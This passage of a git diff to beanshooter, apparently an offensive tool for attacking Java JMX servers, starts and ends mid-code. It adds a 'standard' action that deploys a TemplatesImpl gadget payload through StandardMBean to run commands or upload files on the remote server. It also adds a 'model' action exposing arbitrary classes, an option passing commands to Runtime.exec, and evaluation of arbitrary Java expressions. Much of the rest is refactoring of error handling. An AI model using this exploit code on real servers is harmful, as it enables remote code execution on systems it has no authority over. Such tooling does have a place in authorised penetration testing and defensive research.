RequiredModelMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + MODEL_RESOURCE("resource", + "managed resource for the RequiredModelMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + MODEL_ALL_METHODS("--all-methods", + "also deploy methods with non serializable parameters", + Arguments.storeTrue(), + OptionGroup.ACTION, + ArgType.BOOL + ), + + MODEL_SIGNATURE("--signature", + "create a RequiredModelMBean with the specified method signature", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + STANDARD_OPERATION("operation", + "operation to execute via StandardMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + STANDARD_OPERATION_ARGS("args", + "arguments for the operation to execute via StandardMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + STANDARD_EXEC_ARRAY("--exec-array", + "space-split the command in three parts and pass it as array to Runtime.exec", + Arguments.storeTrue(), + OptionGroup.ACTION, + ArgType.BOOL + ), + + MODEL_SIGNATURE_FILE("--signature-file", + "create a RequiredModelMBean with method signatures from a file", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + STAGER_HOST("host", "the IP address to listen on", Arguments.store(), diff --git a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java index bef385d..6cd691b 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java @@ -9,11 +9,20 @@ import javax.management.Attribute; import javax.management.MBeanException; +import javax.management.MBeanParameterInfo; import javax.management.MBeanServerConnection; import javax.management.ObjectInstance; import javax.management.ObjectName; import javax.management.ReflectionException; +import javax.management.RuntimeErrorException; import javax.management.RuntimeMBeanException; +import javax.management.StandardMBean; +import javax.management.modelmbean.ModelMBeanAttributeInfo; +import javax.management.modelmbean.ModelMBeanInfo; +import javax.management.modelmbean.ModelMBeanInfoSupport; +import javax.management.modelmbean.ModelMBeanOperationInfo; +import javax.management.modelmbean.RequiredModelMBean; +import javax.xml.transform.Templates; import org.jolokia.client.exception.J4pRemoteException; @@ -104,6 +113,90 @@ public void deploy() Logger.decreaseIndent(); } + /** + * Creates a new RequiredModelMBean on the remote MBean server that allows access to a user specified + * class. + */ + public void model() + { + String className = ArgumentHandler.require(BeanshooterOption.MODEL_CLASS_NAME); + ObjectName mBeanObjectName = Utils.getObjectName(ArgumentHandler.require(BeanshooterOption.MODEL_OBJ_NAME)); + + ModelMBeanOperationInfo[] ops; + MBeanServerClient mBeanServerClient = getMBeanServerClient(); + + try + { + Class cls = Class.forName(className); + ops = Utils.createModelMBeanInfosFromClass(cls); + Logger.printlnBlue("Deploying RequiredModelMBean supporting methods from " + cls.getName()); + } + + catch (ClassNotFoundException e) + { + if (BeanshooterOption.MODEL_SIGNATURE.isNull() && BeanshooterOption.MODEL_SIGNATURE_FILE.isNull()) + { + Logger.eprintlnMixedYellow("The specified class", className, "cannot be found locally."); + Logger.eprintMixedBlue("You can still use it by providing method signatures via", "--signature", "or "); + Logger.eprintlnPlainBlue("--signature-file"); + Utils.exit(e); + } + + ops = Utils.createModelMBeanInfosFromArg(className); + Logger.printlnBlue("Deploying RequiredModelMBean supporting user specified methods"); + } + + Logger.lineBreak(); + Logger.increaseIndent(); + + ModelMBeanInfo mmbi = new ModelMBeanInfoSupport(className, "ModelMBean", new ModelMBeanAttributeInfo[] {}, null, ops, null); + mBeanServerClient.deployMBean(RequiredModelMBean.class.getName(), mBeanObjectName, null, new Object[] { mmbi }, new String[] { ModelMBeanInfo.class.getName() }); + + Logger.lineBreak(); + Logger.printlnYellow("Available Methods:"); + + for (ModelMBeanOperationInfo op : ops) + { + String ret = op.getReturnType(); + String name = op.getName(); + StringBuilder args = new StringBuilder(); + + for (MBeanParameterInfo param : op.getSignature()) + { + args.append(param.getType()); + args.append(", "); + } + + if (op.getSignature().length > 0) + args.setLength(args.length() - 2); + + Logger.printMixedBlue(" -", ret + " "); + Logger.printPlainYellow(name); + Logger.printlnPlainBlue("(" + args.toString() + ")"); + } + + if (BeanshooterOption.MODEL_RESOURCE.notNull()) + { + Object managedResource = PluginSystem.strToObj(BeanshooterOption.MODEL_RESOURCE.getValue()); + + try + { + Logger.lineBreak(); + Logger.printlnMixedYellow("Setting managed resource to:", BeanshooterOption.MODEL_RESOURCE.getValue()); + mBeanServerClient.invoke(mBeanObjectName, "setManagedResource", new String[] { Object.class.getName(), "java.lang.String" }, managedResource, "objectReference"); + Logger.printlnMixedBlue("Managed resource was set", "successfully."); + } + + catch (MBeanException | ReflectionException | IOException e) + { + ExceptionHandler.showStackTrace(e); + ExceptionHandler.internalError("model", "Caught " + e.getClass().getName() + " while invoking setManagedResource."); + } + } + + Logger.decreaseIndent(); + } + /** * Removes the specified MBean from the remote MBeanServer. */ @@ -291,6 +384,100 @@ else if (BeanshooterOption.SERIAL_PREAUTH.getBool()) } }; + /** + * Attempt to bruteforce valid credentials on the targeted JMX endpoint. + */ + public void standard() + { + String className = StandardMBean.class.getName(); + ObjectName mBeanObjectName = Utils.getObjectName("de.qtc.beanshooter:standard=" + System.nanoTime()); + + String operation = "template-" + BeanshooterOption.STANDARD_OPERATION.getValue(); + String arguments = BeanshooterOption.STANDARD_OPERATION_ARGS.getValue(); + + if (!operation.equals("template-tonka") && arguments.equals("")) + { + Logger.eprintlnMixedYellow("The " + operation + " action requires", "an additional parameter", "to work with."); + Utils.exit(); + } + + Logger.printlnBlue("Creating a TemplateImpl payload object to abuse StandardMBean"); + Logger.lineBreak(); + Logger.increaseIndent(); + + Object templateGadget = PluginSystem.getPayloadObject(BeanshooterOperation.STANDARD, operation, arguments); + MBeanServerClient mBeanServerClient = getMBeanServerClient(); + + String[] ctorArgTypes = new String[] { Object.class.getName(), Class.class.getName() }; + Object[] ctorArgs = new Object[] { templateGadget, Templates.class }; + + mBeanServerClient.deployMBean(className, mBeanObjectName, null, ctorArgs, ctorArgTypes); + Logger.lineBreak(); + + try + { + mBeanServerClient.invoke(mBeanObjectName, "newTransformer", new String[0]); + } + + catch (RuntimeMBeanException e) + { + Throwable t = ExceptionHandler.getCause(e); + + if (t instanceof NullPointerException) + { + Logger.printlnMixedBlue("Caught", "NullPointerException", "while invoking the newTransformer action."); + Logger.printlnMixedBlue("This is expected bahavior and the attack most likely", "worked", ":)"); + } + + else + { + ExceptionHandler.unexpectedException(e, "standard", "action", true); + } + } + + catch (RuntimeErrorException e) + { + if (operation.equals("template-upload")) + { + String[] split = arguments.split("::"); + + if (split.length < 2) + ExceptionHandler.handleFileWrite(e, arguments, false); + + else + ExceptionHandler.handleFileWrite(e, split[1], false); + } + + else + { + ExceptionHandler.unexpectedException(e, "standard", "action", false); + } + } + + catch (MBeanException | ReflectionException | IOException e) + { + Throwable t = ExceptionHandler.getCause(e); + + if (t instanceof IllegalAccessError && t.getMessage().contains("module java.xml does not export")) + { + Logger.eprintlnMixedYellow("Caught", "IllegalAccessError", "during template transformation."); + Logger.eprintlnMixedBlue("The server does not export", "AbstractTranslet", "which prevents the standard action from working."); + ExceptionHandler.showStackTrace(e); + } + + else + { + ExceptionHandler.unexpectedException(e, "standard", "action", false); + } + } + + finally + { + Logger.lineBreak(); + mBeanServerClient.unregisterMBean(mBeanObjectName); + } + }; + /** * Attempt to bruteforce valid credentials on the targeted JMX endpoint. */ @@ -375,12 +562,12 @@ public void invoke() Logger.printlnBlue("Call was successful."); } - catch (MBeanException | ReflectionException | IOException e) + catch (RuntimeMBeanException | MBeanException | ReflectionException | IOException e) { Throwable t = ExceptionHandler.getCause(e); String message = t.getMessage(); - if (message.contains("No operation " + methodName)) + if (message != null && message.contains("No operation " + methodName)) { if (message.contains("Known signatures: ")) ExceptionHandler.noOperationAlternative(e, signature, methodName, message); @@ -468,14 +655,12 @@ public void attr() { Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), String.format("while setting attribute %s from %s", attrName, objectName)); Logger.eprintlnMixedBlue("There seems to be", "no setter available", "for the requested attribute."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), String.format("while accessing attribute %s from %s", attrName, objectName)); Logger.eprintln("beanshooter does not handle exceptions for custom attribute access."); - ExceptionHandler.stackTrace(e); - Utils.exit(); + Utils.exit(e); } } diff --git a/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java b/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java index e09c178..4f0be8b 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java @@ -622,8 +622,7 @@ public boolean requiresLogin() { Logger.printlnMixedBlue("Caught", "SaslProfileException", "during login attempt."); Logger.printlnMixedYellow("Use the", "--sasl", "option to specify a matching SASL profile."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } Logger.printlnMixedYellow("Caught unknown", e.getOriginalException().getClass().getName(), "during connection attempt."); @@ -668,16 +667,14 @@ public void checkLoginFormat() Logger.printlnMixedYellow("Caught", "MismatchedURIException", "during login attempt."); Logger.printlnMixedBlueFirst("Digest authentication", "requires the correct hostname to be used."); Logger.printlnMixedBlue("The following hostname is expected by the server:", ((MismatchedURIException)e).getUri()); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } if(e instanceof SaslProfileException) { Logger.printlnMixedBlue("Caught", "SaslProfileException", "during login attempt."); Logger.printlnMixedYellow("Use the", "--sasl", "option to specify a matching SASL profile."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } Logger.printlnMixedYellow("Caught unknown", e.getOriginalException().getClass().getName(), "during login attempt."); diff --git a/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java b/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java index 554d643..5ea2e38 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java @@ -2,6 +2,7 @@ import java.io.IOException; import java.lang.reflect.UndeclaredThrowableException; +import java.rmi.UnmarshalException; import java.util.Set; import javax.management.Attribute; @@ -17,6 +18,7 @@ import javax.management.ObjectInstance; import javax.management.ObjectName; import javax.management.ReflectionException; +import javax.management.RuntimeOperationsException; import org.jolokia.client.exception.J4pRemoteException; import org.jolokia.client.exception.UncheckedJmxAdapterException; @@ -75,6 +77,21 @@ public boolean isRegistered(ObjectName name) * @param jarFile path to a jar file for remote deployments (null if not desired) */ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, String jarFile) + { + deployMBean(mBeanClassName, mBeanObjectName, jarFile, null, null); + } + + /** + * Deploys the specified MBean. If the load parameter is set to true, the MBean will be loaded + * using getMBeansFromURL if it is not known to the MBEanServer. + * + * @param mBeanClassName class that is implemented by the MBean + * @param mBeanObjectName objectName implemented by the MBean + * @param jarFile path to a jar file for remote deployments (null if not desired) + * @param if a specific constructor should be used, define its parameters here + * @param if a specific constructor should be used, define its signature here + */ + public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, String jarFile, Object[] params, String[] signature) { String className = mBeanClassName.substring(mBeanClassName.lastIndexOf(".") + 1); Logger.printlnMixedYellow("Deplyoing MBean:", className); @@ -87,7 +104,11 @@ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, Strin return; } - conn.createMBean(mBeanClassName, mBeanObjectName); + if (params == null || signature == null) + conn.createMBean(mBeanClassName, mBeanObjectName); + + else + conn.createMBean(mBeanClassName, mBeanObjectName, params, signature); } catch (InstanceAlreadyExistsException e) @@ -123,7 +144,7 @@ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, Strin if (BeanshooterOption.DEPLOY_STAGER_URL.isNull()) { Logger.eprintlnMixedYellow("Use the", BeanshooterOption.DEPLOY_STAGER_URL.getName(), "option to load the MBean from remote."); - Utils.exit(); + Utils.exit(e); } DynamicMBean mbean = new DynamicMBean(mBeanObjectName, mBeanClassName, jarFile); @@ -140,7 +161,7 @@ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, Strin Logger.eprintlnMixedBlue("The specified class", className, "is not known by the server."); Logger.eprintMixedYellow("Use the", "--jar-file"); Logger.eprintlnPlainMixedYellow(" and", "--stager-url", "options to provide an implementation."); - Utils.exit(); + Utils.exit(e); } } @@ -164,6 +185,21 @@ else if( e.getMessage().contains("Creating an MBean that is a ClassLoader is for ExceptionHandler.unexpectedException(e, "registering", "MBean", true); } + catch (UnmarshalException e) + { + Throwable t = ExceptionHandler.getCause(e); + + if (t instanceof ClassNotFoundException) + { + String missingClass = t.getMessage().split(" ")[0]; + Logger.eprintlnMixedYellow("Caught", "ClassNotFoundException", "during MBean deployment."); + Logger.eprintlnMixedBlue("The class", missingClass, "is not known by the server."); + Utils.exit(e); + } + + ExceptionHandler.unexpectedException(e, "registering", "MBean", true); + } + catch (Exception e) { ExceptionHandler.unexpectedException(e, "registering", "MBean", true); @@ -309,6 +345,28 @@ public Object invoke(ObjectName name, String methodName, String[] argTypes, Obje throw e; } + catch (RuntimeOperationsException e) + { + Throwable t = ExceptionHandler.getCause(e); + + if (t instanceof IllegalArgumentException) + { + String[] actualArgumentTypes = new String[args.length]; + + for (int ctr = 0; ctr < args.length; ctr++) + { + actualArgumentTypes[ctr] = args[ctr].getClass().getName(); + } + + Logger.eprintlnMixedYellow("Caught unexpected", "IllegalArgumentException", "while invoking the method."); + Logger.eprintlnMixedBlue("The specified argument types:", String.join(", ", actualArgumentTypes)); + Logger.eprintlnMixedBlue("Do not match the expected argument types:", String.join(" ,", argTypes)); + Utils.exit(e); + } + + throw e; + } + return result; } @@ -396,7 +454,7 @@ else if (message.contains("InvalidAttributeValueException")) Logger.eprintlnMixedYellow("Caught", "InvalidAttributeValueException", "while setting the attribute."); Logger.eprintlnMixedBlue("The specified attribute value of class", attr.getValue().getClass().getName(), "is probably not compatible."); Logger.eprintlnMixedYellow("You can use the", "--type", "option to specify a different type manually."); - Utils.exit(); + Utils.exit(e); } } @@ -418,7 +476,7 @@ else if (message.contains("InvalidAttributeValueException")) Logger.eprintlnMixedYellow("Caught", "InvalidAttributeValueException", "while setting the attribute."); Logger.eprintlnMixedBlue("The specified attribute value of class", attr.getValue().getClass().getName(), "is probably not compatible."); Logger.eprintlnMixedYellow("You can use the", "--type", "option to specify a different type manually."); - Utils.exit(); + Utils.exit(e); } } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java index c189746..41d1cb4 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java @@ -21,6 +21,8 @@ public interface IArgumentProvider { Object[] getArgumentArray(String[] argumentArray) throws PluginException; + Object strToObj(String str) throws PluginException; String[] getArgumentTypes(String signature) throws PluginException; + String[] getArgumentTypes(String signature, boolean includeName) throws PluginException; String getMethodName(String signature) throws PluginException; } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java index 0390fdc..70e8194 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java @@ -91,12 +91,14 @@ private static void loadPlugin(String pluginPath) JarInputStream jarStream = null; File pluginFile = new File(pluginPath); - if(!pluginFile.exists()) { + if (!pluginFile.exists()) + { Logger.eprintlnMixedYellow("Specified plugin path", pluginPath, "does not exist."); Utils.exit(); } - try { + try + { jarStream = new JarInputStream(new FileInputStream(pluginFile)); Manifest mf = jarStream.getManifest(); pluginClassName = mf.getMainAttributes().getValue(manifestAttribute); @@ -105,50 +107,67 @@ private static void loadPlugin(String pluginPath) if(pluginClassName == null) throw new MalformedPluginException(); - } catch(Exception e) { + } + + catch(Exception e) + { Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), "while reading the Manifest of the specified plugin."); Logger.eprintlnMixedBlue("Plugins need to be valid JAR files that contain the", manifestAttribute, "attribute."); - Utils.exit(); + Utils.exit(e); } - try { + try + { URLClassLoader ucl = new URLClassLoader(new URL[] {pluginFile.toURI().toURL()}); Class pluginClass = Class.forName(pluginClassName, true, ucl); pluginInstance = pluginClass.newInstance(); + } - } catch(Exception e) { + catch (Exception e) + { Logger.eprintMixedYellow("Caught", e.getClass().getName(), "while reading plugin file "); Logger.printlnPlainBlue(pluginPath); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } - if(pluginInstance instanceof IMBeanServerProvider) { + if (pluginInstance instanceof IMBeanServerProvider) + { mBeanServerProvider = (IMBeanServerProvider)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof ISocketFactoryProvider) { + if (pluginInstance instanceof ISocketFactoryProvider) + { socketFactoryProvider = (ISocketFactoryProvider)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof IPayloadProvider) { + if (pluginInstance instanceof IPayloadProvider) + { payloadProvider = (IPayloadProvider)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof IArgumentProvider) { + if (pluginInstance instanceof IArgumentProvider) + { argumentProvider = (IArgumentProvider)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof IResponseHandler) { + if (pluginInstance instanceof IResponseHandler) + { responseHandler = (IResponseHandler)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof IAuthenticationProvider) { + if (pluginInstance instanceof IAuthenticationProvider) + { authenticationProvider = (IAuthenticationProvider)pluginInstance; inUse = true; } - if(!inUse) { + if (!inUse) + { Logger.eprintMixedBlue("Plugin", pluginPath, "was successfully loaded, but is "); Logger.eprintlnPlainYellow("not in use."); Logger.eprintln("Plugins should implement at least one of the available plugin interfaces."); @@ -407,6 +426,29 @@ public static Object[] getArgumentArray(String[] argumentArray) return args; } + /** + * Create an Object from a Java expression. + * + * @param str Java expression. Class names need to be specified full qualified + * @return Object created from the Java expression + */ + public static Object strToObj(String str) + { + Object args = null; + + try + { + args = argumentProvider.strToObj(str); + } + + catch (PluginException e) + { + ExceptionHandler.pluginException(e); + } + + return args; + } + /** * Pass the user supplied method signature to the ArgumentProvider and return the resulting * string array of parameter types. @@ -431,6 +473,31 @@ public static String[] getArgumentTypes(String signature) return types; } + /** + * Pass the user supplied method signature to the ArgumentProvider and return the resulting + * string array of parameter types. + * + * @param signature user supplied method signature + * @param includeNanme whether to include the methods name as a string + * @return String array containing the parsed parameter type names + */ + public static String[] getArgumentTypes(String signature, boolean includeName) + { + String[] types = null; + + try + { + types = argumentProvider.getArgumentTypes(signature, includeName); + } + + catch (PluginException e) + { + ExceptionHandler.pluginException(e); + } + + return types; + } + /** * Pass the user supplied method signature to the ArgumentProvider and return the resulting * method name parsed from the signature. diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java index 90e3b54..aab466f 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java @@ -73,6 +73,49 @@ else if( arguments.length == 0 ) return result; } + /** + * Create an Object from a Java expression. + * + * @param str Java expression. Class names need to be specified full qualified + * @return Object created from the Java expression + */ + public Object strToObj(String str) + { + Object result = null; + ClassPool pool = ClassPool.getDefault(); + + try { + CtClass evaluator = pool.makeClass("de.qtc.rmg.plugin.providers.DefaultArgumentProvider"); + String evalFunction = "public static Object eval() {" + + " return " + str + ";" + + "}"; + + CtMethod me = CtNewMethod.make(evalFunction, evaluator); + evaluator.addMethod(me); + + Class evalClass = evaluator.toClass(); + Method m = evalClass.getDeclaredMethods()[0]; + + result = (Object) m.invoke(evalClass, (Object[])null); + + } catch(VerifyError | CannotCompileException e) { + ExceptionHandler.invalidArgumentException(e, str); + + } catch (Exception e) { + ExceptionHandler.unexpectedException(e, "argument array", "generation", true); + } + + return result; + } + + /** + * See description below. + */ + public String[] getArgumentTypes(String signature) + { + return getArgumentTypes(signature, false); + } + /** * MBean calls are dispatched using an array of argument objects and an array of class names of the * corresponding argument types. In ordinary MBean clients, this is no problem, as the methods are available @@ -91,14 +134,14 @@ else if( arguments.length == 0 ) * create a dummy method from the user specified method signature and when obtain the correct * type names via reflection and getParameterTypes() on the associated method object. */ - public String[] getArgumentTypes(String signature) + public String[] getArgumentTypes(String signature, boolean includeName) { ClassPool pool = ClassPool.getDefault(); List result = new ArrayList(); signature = Utils.makeVoid(signature); try { - CtClass evaluator = pool.makeClass("de.qtc.rmg.plugin.providers.DefaultArgumentProvider2"); + CtClass evaluator = pool.makeClass("de.qtc.rmg.plugin.providers.DefaultArgumentProvider2" + System.nanoTime()); String dummyFunction = "public static " + signature + " {}"; CtMethod me = CtNewMethod.make(dummyFunction, evaluator); @@ -107,6 +150,9 @@ public String[] getArgumentTypes(String signature) Class evalClass = evaluator.toClass(); targetMethod = evalClass.getDeclaredMethods()[0]; + if (includeName) + result.add(targetMethod.getName()); + for(Class type : targetMethod.getParameterTypes()) result.add(type.getName()); diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java index c6431ed..0fa44d9 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java @@ -43,14 +43,14 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map java.security.Security.setProperty("ssl.SocketFactory.provider", PluginSystem.getDefaultSSLSocketFactoryClass(host, port)); - if( BeanshooterOption.CONN_SSL.getBool() ) + if (BeanshooterOption.CONN_SSL.getBool()) { env.put("jmx.remote.tls.socket.factory", PluginSystem.getSSLSocketFactory(host, port)); env.put("jmx.remote.profiles", "TLS"); } SASLMechanism saslMechanism = ArgumentHandler.getSASLMechanism(); - if( saslMechanism != null ) + if (saslMechanism != null) { if (!env.containsKey(JMXConnector.CREDENTIALS) && ArgumentHandler.getInstance().getAction() != BeanshooterOperation.BRUTE) ArgumentHandler.requireAllOf(BeanshooterOption.CONN_USER, BeanshooterOption.CONN_PASS); @@ -91,8 +91,7 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map throw new SaslSuperflousException(e, true); Logger.eprintlnMixedYellow("Caught unexpected", "IOException", "while connecting to the specified JMX service."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } catch( java.lang.SecurityException e ) diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java index a32fff9..00e9f88 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java @@ -40,34 +40,41 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map java.security.Security.setProperty("ssl.SocketFactory.provider", PluginSystem.getDefaultSSLSocketFactoryClass(host, port)); - if( BeanshooterOption.CONN_SSL.getBool() ) + if (BeanshooterOption.CONN_SSL.getBool()) env.put("com.sun.jndi.rmi.factory.socket", new SslRMIClientSocketFactory()); - try { + try + { RMISocketFactory.setSocketFactory(PluginSystem.getDefaultRMISocketFactory(host, port)); + } - } catch (IOException e) { + catch (IOException e) + { Logger.eprintlnMixedBlue("Unable to set custom", "RMISocketFactory.", "Host redirection will probably not work."); ExceptionHandler.showStackTrace(e); Logger.eprintln(""); } - try { + try + { JMXServiceURL jmxUrl = new JMXServiceURL(String.format(connString, host, port)); JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxUrl, env); mBeanServerConnection = jmxConnector.getMBeanServerConnection(); + } - } catch (MalformedURLException e) { + catch (MalformedURLException e) + { ExceptionHandler.internalError("DefaultMBeanServerProvider.getMBeanServerConnection", "Invalid URL."); + Utils.exit(e); + } - } catch (IOException e) { + catch (IOException e) + { Logger.eprintlnMixedYellow("Caught unexpected", "IOException", "while connecting to the specified JMX service."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } return mBeanServerConnection; } - } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java index e31aa2e..97f430a 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java @@ -85,9 +85,7 @@ else if (t instanceof ParseException) { Logger.eprintlnMixedYellow("Caught", "ParseException", "while parsing the server response."); Logger.eprintlnMixedBlue("The specified target is", "probably not", "a Jolokia endpoint."); - - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } ExceptionHandler.unexpectedException(e, "while connecting", "to the jolokia endpoint", true); @@ -130,6 +128,7 @@ else if (t instanceof CertPathValidatorException) else if (t instanceof java.io.EOFException || t instanceof java.net.SocketException) { Logger.eprintln("The JMX server closed the connection. This usually indicates a networking problem."); + ExceptionHandler.showStackTrace(e); } else diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java index 1f0a215..a833459 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java @@ -54,7 +54,7 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map RMIConnector rmiConnector = null; MBeanServerConnection connection = null; - if( BeanshooterOption.TARGET_OBJID_CONNECTION.notNull() ) + if (BeanshooterOption.TARGET_OBJID_CONNECTION.notNull()) { ObjID objID = Utils.parseObjID(BeanshooterOption.TARGET_OBJID_CONNECTION.getValue()); RMIConnection conn = getRMIConnectionByObjID(regEndpoint, objID); @@ -139,9 +139,7 @@ else if (t instanceof CertPathValidatorException) { Logger.eprintlnMixedBlue("The server probably uses TLS settings that are", "incompatible", "with your current security settings."); Logger.eprintlnMixedYellow("You may try to edit your", "java.security", "policy file to overcome the issue."); - - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } else @@ -149,8 +147,7 @@ else if (t instanceof CertPathValidatorException) ExceptionHandler.unknownReason(e); } - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } catch (SecurityException e) @@ -234,16 +231,21 @@ private RMIServer getRMIServerByLookup(RMIRegistryEndpoint regEndpoint, String b { RMIServer returnValue = null; - try { + try + { returnValue = (RMIServer)regEndpoint.lookup(boundName); + } - } catch (ClassNotFoundException e) { + catch (ClassNotFoundException e) + { ExceptionHandler.lookupClassNotFoundException(e, e.getMessage()); + } - } catch( ClassCastException e) { + catch (ClassCastException e) + { Logger.printlnMixedYellow("Unable to cast remote object to", "RMIServer", "class."); Logger.printlnMixedBlue("You probbably specified a bound name that does not implement the", "RMIServer", "interface."); - Utils.exit(); + Utils.exit(e); } return returnValue; diff --git a/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java b/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java index c53b029..b970ee7 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java @@ -19,7 +19,6 @@ import org.jolokia.client.J4pClientBuilder; import org.jolokia.client.jmxadapter.JolokiaJmxConnector; -import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; import de.qtc.beanshooter.operation.BeanshooterOption; @@ -89,8 +88,7 @@ public boolean isTrusted(X509Certificate[] chain, String authType) throws Certif catch (KeyManagementException | NoSuchAlgorithmException | KeyStoreException e) { Logger.printlnMixedYellow("Caught unexpected", e.getClass().getName(), "while setting the SSL context for Jolokia."); - ExceptionHandler.stackTrace(e); - Utils.exit(); + Utils.exit(e); } if (mergedEnv.containsKey(CREDENTIALS)) diff --git a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java index e5fc45e..d014ac1 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java @@ -1,7 +1,11 @@ package de.qtc.beanshooter.utils; +import java.io.BufferedReader; import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; import java.io.IOException; +import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -35,14 +39,19 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; +import javax.management.Descriptor; +import javax.management.ImmutableDescriptor; import javax.management.MBeanOperationInfo; import javax.management.MBeanParameterInfo; import javax.management.MalformedObjectNameException; import javax.management.ObjectName; +import javax.management.modelmbean.ModelMBeanOperationInfo; +import javax.management.modelmbean.RequiredModelMBean; import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; - +import de.qtc.beanshooter.operation.BeanshooterOption; +import de.qtc.beanshooter.plugin.PluginSystem; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; @@ -67,6 +76,18 @@ public static void exit() System.exit(1); } + /** + * Just a wrapper around System.exit(1) that prints an information before quitting. + * Also a stacktrace is printed if --stack-trace was used. + */ + public static void 